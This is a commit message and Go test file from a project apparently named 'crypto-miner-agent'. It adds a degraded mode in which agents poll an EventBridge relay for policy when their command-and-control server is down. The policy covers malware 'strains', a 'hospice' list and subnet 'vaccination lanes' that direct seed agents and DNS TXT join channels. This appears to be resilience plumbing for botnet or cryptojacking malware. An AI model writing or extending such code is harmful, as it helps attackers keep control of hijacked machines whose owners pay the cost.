Add EventBridge policy fan-out for standalone degraded mode.

Ship Lambda/EventBridge templates and a token-gated policy snapshot endpoint so agents can poll hospice, vaccination lanes, and genesis version when C2 is down, preferring EventBridge relay over 30m reconnect.

agent/deploy/policy_snapshot_test.go

@@ -0,0 +1,54 @@
+package deploy
+
+import (
+	"encoding/json"
+	"net/http"
+	"net/http/httptest"
+	"sync/atomic"
+	"testing"
+	"time"
+
+	"crypto-miner-agent/config"
+)
+
+func TestApplyPolicySnapshotHospiceAndGenesis(t *testing.T) {
+	ApplyPolicySnapshot(PolicySnapshotBody{
+		GenesisVersion: 4,
+		HospiceList:    []string{"Dead-Strain"},
+		VaccinationLanes: []policyVaccinationLane{{
+			Subnet: "10.0.5",
+			Lane:   json.RawMessage(`{"seed_agent_id":"s1","join_lane":"dns_txt"}`),
+		}},
+	})
+	if PolicyGenesisVersion() != 4 {
+		t.Fatalf("genesis=%d", PolicyGenesisVersion())
+	}
+	if !StrainInPolicyHospice("dead-strain") {
+		t.Fatal("expected hospice strain")
+	}
+	h, ok := VaccinationHintForSubnet("10.0.5.0/24")
+	if !ok || h.SeedAgent != "s1" || h.JoinLane != "dns_txt" {
+		t.Fatalf("hint=%+v ok=%v", h, ok)
+	}
+}
+
+func TestZeroServerPolicyModePrefersRelayPoll(t *testing.T) {
+	var polls atomic.Int32
+	srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
+		polls.Add(1)
+		_ = json.NewEncoder(w).Encode(PolicySnapshotBody{GenesisVersion: 1})
+	}))
+	defer srv.Close()
+	cfg := config.RuntimeConfig{}
+	cfg.EventBridgeRelayURL = srv.URL
+	StartZeroServerPolicyMode(cfg, func() error { return nil })
+	time.Sleep(150 * time.Millisecond)
+	if polls.Load() < 1 {
+		t.Fatal("expected relay poll")
+	}
+}
+
+func TestZeroServerPolicyModeFallsBackToReconnect(t *testing.T) {
+	cfg := config.RuntimeConfig{}
+	StartZeroServerPolicyMode(cfg, func() error { return nil })
+}